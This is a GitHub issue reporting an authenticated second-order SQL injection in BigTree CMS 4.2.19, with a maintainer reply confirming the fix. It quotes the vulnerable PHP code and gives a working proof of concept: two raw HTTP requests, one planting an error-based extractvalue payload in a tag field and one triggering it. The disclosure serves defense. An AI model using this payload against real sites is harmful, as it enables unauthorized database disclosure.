Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection in BigTree-CMS 4.2.19 #323

Closed
xcold opened this issue Nov 22, 2017 · 1 comment
Closed

SQL injection in BigTree-CMS 4.2.19 #323

xcold opened this issue Nov 22, 2017 · 1 comment

Comments

@xcold
Copy link

xcold commented Nov 22, 2017

#SQL injection in BigTree-CMS 4.2.19

Good day.
I found a SQL injection vulnerability in BigTree CMS through 4.2.19.This vulnerability allows remote authenticated attackers to obtain information in the context of the user used by the application to retrieve data from the database.

--
file in admin/ajax/dashboard/approve-change.php

	$change = $admin->getPendingChange($_POST["id"]);



	// See if we have permission.
	$item_id = $change["item_id"] ? $change["item_id"] : "p".$change["id"];
	
	if ($change["module"]) {
		// It's a module. Check permissions on this.
		$data = BigTreeAutoModule::getPendingItem($change["table"],$item_id);

		$permission_level = $admin->getAccessLevel($admin->getModule($change["module"]),$data["item"],$change["table"]);
		exit();
	} 

file:
core/inc/auto-modules.php

static function getPendingItem($table,$id) {
			$status = "published";
			$many_to_many = array();
			$owner = false;
			// The entry is pending if there's a "p" prefix on the id
			if (substr($id,0,1) == "p") {
				$change = sqlfetch(sqlquery("SELECT * FROM bigtree_pending_changes WHERE id = '".sqlescape(substr($id,1))."'"));


				if (!$change) {
					return false;
				}
				
				$item = json_decode($change["changes"],true);
				$many_to_many = json_decode($change["mtm_changes"],true);
				$temp_tags = json_decode($change["tags_changes"],true);
	
				$tags = array();


				if (!empty($temp_tags)) {
					foreach ($temp_tags as $tid) {
						$tags[] = sqlfetch(sqlquery("SELECT * FROM bigtree_tags WHERE id = '$tid'"));
					}
				}


				$status = "pending";
				$owner = $change["user"];
			// Otherwise it's a live entry
			} else {
				$id = sqlescape($id);

				$item = sqlfetch(sqlquery("SELECT * FROM `$table` WHERE id = '$id'"));
				if (!$item) {
					return false;
				}
				
				// Apply changes that are pending
				$change = sqlfetch(sqlquery("SELECT * FROM bigtree_pending_changes WHERE `table` = '$table' AND `item_id` = '$id'"));
				if ($change) {
					$status = "updated";
					$changes = json_decode($change["changes"],true);
					foreach ($changes as $key => $val) {
						$item[$key] = $val;
					}
					$many_to_many = json_decode($change["mtm_changes"],true);
					$temp_tags = json_decode($change["tags_changes"],true);
					$tags = array();

								var_dump($change);
				exit();

					if (is_array($temp_tags)) {
						foreach ($temp_tags as $tid) {
							$tags[] = sqlfetch(sqlquery("SELECT * FROM bigtree_tags WHERE id = '$tid'"));
						}
					}
				// If there's no pending changes, just pull the tags
				} else {
					$tags = self::getTagsForEntry($table,$id);
				}
			}
			
			// Process the internal page links, turn json_encoded arrays into arrays.
			foreach ($item as $key => $val) {
				if (is_array($val)) {
					$item[$key] = BigTree::untranslateArray($val);
				} elseif (is_array(json_decode($val,true))) {
					$item[$key] = BigTree::untranslateArray(json_decode($val,true));
				} else {
					$item[$key] = BigTreeCMS::replaceInternalPageLinks($val);
				}
			}
			return array("item" => $item, "mtm" => $many_to_many, "tags" => $tags, "status" => $status, "owner" => $owner);
		}

values of the temp_tags parameters are not sanitized; and it is taken out of the database.
so ,We can insert an attack statement into the table ,then access this point to complete the attack chain

--
Poc:
at first, add a trees

POST /BigTree-CMS/site/index.php/admin/trees/add/process/ HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 1575
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJGK2Pb4vIOmW7nC5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/BigTree-CMS/site/index.php/admin/trees/add/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie:

------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="__csrf_token_FUHDYKM51CKFPLY2G8376C1NJTCNGJ5R__"

BCkLz1FYEDbbAKR4Cvrwt22cW/+BS/O4v8s833hM/T0=
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="_bigtree_preview"


------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="MAX_FILE_SIZE"

4194304
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="subtitle"

test
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="content"

<p>test</p>
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="cover"


------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="_tags[]"

p'and extractvalue(1,concat(char(126),(database()),char(126))) #
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="cover_link"

tes
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="gallery[0][image]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="link"

tesrt
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5
Content-Disposition: form-data; name="save"

Save
------WebKitFormBoundaryJGK2Pb4vIOmW7nC5--

then,request the url leads to sqli

POST /BigTree-CMS/site/index.php/admin/ajax/dashboard/approve-change HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 5
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html, */*; q=0.01
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/BigTree-CMS/site/index.php/admin/pages/edit/p2/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie:

id=11

if there are any questions, please send me the details to my email at xc0161@gmail.com

timbuckingham added a commit that referenced this issue Dec 17, 2017
…leakage for authenticated users.

Thanks to xcold for the report: #323
@timbuckingham
Copy link
Collaborator

Thank you! This should be fixed in the 4.2-devel branch and will be in the 4.2.20 release. Sorry for the delayed response!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants